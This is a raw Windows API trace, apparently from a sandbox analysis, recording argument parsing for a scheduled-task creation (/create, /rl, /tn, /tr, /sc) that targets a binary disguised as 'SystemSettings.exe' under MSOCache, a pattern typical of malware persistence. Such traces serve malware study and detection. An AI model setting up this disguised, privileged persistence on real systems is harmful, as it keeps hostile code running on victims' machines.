0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0134.209] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0134.209] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0134.210] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0134.210] GetLastError () returned 0x0 [0134.210] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0134.210] lstrlenW (lpString="'C:\\MSOCache\\All Users\\SystemSettings.exe'") returned 42 [0134.210] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.210] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.210] lstrlenW (lpString="/rl") returned 3 [0134.210] lstrlenW (lpString="-/") returned 2 [0134.210] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.210] lstrlenW (lpString="create") returned 6 [0134.210] lstrlenW (lpString="create") returned 6 [0134.210] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.210] lstrlenW (lpString="rl") returned 2 [0134.211] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.211] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|create|") returned 8 [0134.211] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.211] lstrlenW (lpString="|create|") returned 8 [0134.211] lstrlenW (lpString="|rl|") returned 4 [0134.211] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0134.211] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.211] lstrlenW (lpString="?") returned 1 [0134.211] lstrlenW (lpString="?") returned 1 [0134.211] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.211] lstrlenW (lpString="rl") returned 2 [0134.211] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.211] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|?|") returned 3 [0134.211] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.211] lstrlenW (lpString="|?|") returned 3 [0134.211] lstrlenW (lpString="|rl|") returned 4 [0134.211] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.211] lstrlenW (lpString="s") returned 1 [0134.211] lstrlenW (lpString="s") returned 1 [0134.211] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.211] lstrlenW (lpString="rl") returned 2 [0134.211] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.211] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|s|") returned 3 [0134.211] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.211] lstrlenW (lpString="|s|") returned 3 [0134.211] lstrlenW (lpString="|rl|") returned 4 [0134.211] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.211] lstrlenW (lpString="u") returned 1 [0134.211] lstrlenW (lpString="u") returned 1 [0134.211] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.211] lstrlenW (lpString="rl") returned 2 [0134.212] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.212] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|u|") returned 3 [0134.212] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.212] lstrlenW (lpString="|u|") returned 3 [0134.212] lstrlenW (lpString="|rl|") returned 4 [0134.212] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.212] lstrlenW (lpString="p") returned 1 [0134.212] lstrlenW (lpString="p") returned 1 [0134.212] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.212] lstrlenW (lpString="rl") returned 2 [0134.212] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.212] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|p|") returned 3 [0134.212] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.212] lstrlenW (lpString="|p|") returned 3 [0134.212] lstrlenW (lpString="|rl|") returned 4 [0134.212] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.212] lstrlenW (lpString="ru") returned 2 [0134.212] lstrlenW (lpString="ru") returned 2 [0134.212] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.212] lstrlenW (lpString="rl") returned 2 [0134.212] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.212] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|ru|") returned 4 [0134.212] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.212] lstrlenW (lpString="|ru|") returned 4 [0134.212] lstrlenW (lpString="|rl|") returned 4 [0134.212] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0134.213] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.213] lstrlenW (lpString="rp") returned 2 [0134.213] lstrlenW (lpString="rp") returned 2 [0134.213] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.213] lstrlenW (lpString="rl") returned 2 [0134.213] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.213] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rp|") returned 4 [0134.213] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.213] lstrlenW (lpString="|rp|") returned 4 [0134.213] lstrlenW (lpString="|rl|") returned 4 [0134.213] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0134.213] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.213] lstrlenW (lpString="sc") returned 2 [0134.213] lstrlenW (lpString="sc") returned 2 [0134.213] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.213] lstrlenW (lpString="rl") returned 2 [0134.213] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.213] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sc|") returned 4 [0134.213] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.213] lstrlenW (lpString="|sc|") returned 4 [0134.213] lstrlenW (lpString="|rl|") returned 4 [0134.213] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0134.213] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.213] lstrlenW (lpString="mo") returned 2 [0134.214] lstrlenW (lpString="mo") returned 2 [0134.214] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.216] lstrlenW (lpString="rl") returned 2 [0134.216] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.216] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|mo|") returned 4 [0134.216] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.216] lstrlenW (lpString="|mo|") returned 4 [0134.216] lstrlenW (lpString="|rl|") returned 4 [0134.216] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0134.216] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.216] lstrlenW (lpString="d") returned 1 [0134.216] lstrlenW (lpString="d") returned 1 [0134.216] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.216] lstrlenW (lpString="rl") returned 2 [0134.216] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.216] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|d|") returned 3 [0134.216] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.216] lstrlenW (lpString="|d|") returned 3 [0134.216] lstrlenW (lpString="|rl|") returned 4 [0134.216] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.216] lstrlenW (lpString="m") returned 1 [0134.216] lstrlenW (lpString="m") returned 1 [0134.217] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.217] lstrlenW (lpString="rl") returned 2 [0134.217] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.217] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|m|") returned 3 [0134.217] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.217] lstrlenW (lpString="|m|") returned 3 [0134.217] lstrlenW (lpString="|rl|") returned 4 [0134.217] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.217] lstrlenW (lpString="i") returned 1 [0134.217] lstrlenW (lpString="i") returned 1 [0134.217] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.217] lstrlenW (lpString="rl") returned 2 [0134.217] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.217] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|i|") returned 3 [0134.217] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.217] lstrlenW (lpString="|i|") returned 3 [0134.217] lstrlenW (lpString="|rl|") returned 4 [0134.217] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.217] lstrlenW (lpString="tn") returned 2 [0134.217] lstrlenW (lpString="tn") returned 2 [0134.217] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.217] lstrlenW (lpString="rl") returned 2 [0134.217] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.217] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.217] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.217] lstrlenW (lpString="|tn|") returned 4 [0134.217] lstrlenW (lpString="|rl|") returned 4 [0134.217] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0134.217] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.218] lstrlenW (lpString="tr") returned 2 [0134.218] lstrlenW (lpString="tr") returned 2 [0134.218] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.218] lstrlenW (lpString="rl") returned 2 [0134.218] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.218] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tr|") returned 4 [0134.218] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.218] lstrlenW (lpString="|tr|") returned 4 [0134.218] lstrlenW (lpString="|rl|") returned 4 [0134.218] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0134.218] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.218] lstrlenW (lpString="st") returned 2 [0134.218] lstrlenW (lpString="st") returned 2 [0134.218] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.218] lstrlenW (lpString="rl") returned 2 [0134.218] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.218] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|st|") returned 4 [0134.218] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.218] lstrlenW (lpString="|st|") returned 4 [0134.218] lstrlenW (lpString="|rl|") returned 4 [0134.218] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0134.218] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.218] lstrlenW (lpString="sd") returned 2 [0134.218] lstrlenW (lpString="sd") returned 2 [0134.218] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.218] lstrlenW (lpString="rl") returned 2 [0134.218] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.218] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sd|") returned 4 [0134.218] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.218] lstrlenW (lpString="|sd|") returned 4 [0134.219] lstrlenW (lpString="|rl|") returned 4 [0134.219] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0134.219] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.219] lstrlenW (lpString="ed") returned 2 [0134.219] lstrlenW (lpString="ed") returned 2 [0134.219] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.219] lstrlenW (lpString="rl") returned 2 [0134.219] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.219] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|ed|") returned 4 [0134.219] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.219] lstrlenW (lpString="|ed|") returned 4 [0134.219] lstrlenW (lpString="|rl|") returned 4 [0134.219] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0134.219] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.219] lstrlenW (lpString="it") returned 2 [0134.219] lstrlenW (lpString="it") returned 2 [0134.219] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.219] lstrlenW (lpString="rl") returned 2 [0134.219] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.219] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|it|") returned 4 [0134.219] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.219] lstrlenW (lpString="|it|") returned 4 [0134.219] lstrlenW (lpString="|rl|") returned 4 [0134.219] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0134.219] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.219] lstrlenW (lpString="et") returned 2 [0134.219] lstrlenW (lpString="et") returned 2 [0134.219] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.219] lstrlenW (lpString="rl") returned 2 [0134.220] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.220] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|et|") returned 4 [0134.220] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.220] lstrlenW (lpString="|et|") returned 4 [0134.220] lstrlenW (lpString="|rl|") returned 4 [0134.220] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0134.220] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.220] lstrlenW (lpString="k") returned 1 [0134.220] lstrlenW (lpString="k") returned 1 [0134.220] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.220] lstrlenW (lpString="rl") returned 2 [0134.220] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.220] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|k|") returned 3 [0134.220] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.220] lstrlenW (lpString="|k|") returned 3 [0134.220] lstrlenW (lpString="|rl|") returned 4 [0134.220] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.220] lstrlenW (lpString="du") returned 2 [0134.220] lstrlenW (lpString="du") returned 2 [0134.220] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.220] lstrlenW (lpString="rl") returned 2 [0134.220] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.220] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|du|") returned 4 [0134.220] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.220] lstrlenW (lpString="|du|") returned 4 [0134.220] lstrlenW (lpString="|rl|") returned 4 [0134.220] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0134.220] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.220] lstrlenW (lpString="ri") returned 2 [0134.221] lstrlenW (lpString="ri") returned 2 [0134.221] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.221] lstrlenW (lpString="rl") returned 2 [0134.221] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.221] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|ri|") returned 4 [0134.221] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.221] lstrlenW (lpString="|ri|") returned 4 [0134.221] lstrlenW (lpString="|rl|") returned 4 [0134.221] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0134.221] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.221] lstrlenW (lpString="z") returned 1 [0134.221] lstrlenW (lpString="z") returned 1 [0134.221] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.221] lstrlenW (lpString="rl") returned 2 [0134.221] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.221] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|z|") returned 3 [0134.221] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.221] lstrlenW (lpString="|z|") returned 3 [0134.221] lstrlenW (lpString="|rl|") returned 4 [0134.221] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.221] lstrlenW (lpString="f") returned 1 [0134.221] lstrlenW (lpString="f") returned 1 [0134.221] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.221] lstrlenW (lpString="rl") returned 2 [0134.221] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.221] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|f|") returned 3 [0134.221] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.221] lstrlenW (lpString="|f|") returned 3 [0134.222] lstrlenW (lpString="|rl|") returned 4 [0134.222] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.222] lstrlenW (lpString="v1") returned 2 [0134.222] lstrlenW (lpString="v1") returned 2 [0134.222] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.222] lstrlenW (lpString="rl") returned 2 [0134.222] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.222] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|v1|") returned 4 [0134.222] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.222] lstrlenW (lpString="|v1|") returned 4 [0134.222] lstrlenW (lpString="|rl|") returned 4 [0134.222] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0134.222] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.222] lstrlenW (lpString="xml") returned 3 [0134.222] lstrlenW (lpString="xml") returned 3 [0134.222] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.222] lstrlenW (lpString="rl") returned 2 [0134.222] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.222] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|xml|") returned 5 [0134.222] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.222] lstrlenW (lpString="|xml|") returned 5 [0134.222] lstrlenW (lpString="|rl|") returned 4 [0134.222] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0134.222] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.222] lstrlenW (lpString="ec") returned 2 [0134.222] lstrlenW (lpString="ec") returned 2 [0134.222] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.222] lstrlenW (lpString="rl") returned 2 [0134.222] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.223] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|ec|") returned 4 [0134.223] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.223] lstrlenW (lpString="|ec|") returned 4 [0134.223] lstrlenW (lpString="|rl|") returned 4 [0134.223] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0134.223] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.223] lstrlenW (lpString="rl") returned 2 [0134.223] lstrlenW (lpString="rl") returned 2 [0134.223] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.223] lstrlenW (lpString="rl") returned 2 [0134.223] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.223] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.223] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rl|") returned 4 [0134.223] lstrlenW (lpString="|rl|") returned 4 [0134.223] lstrlenW (lpString="|rl|") returned 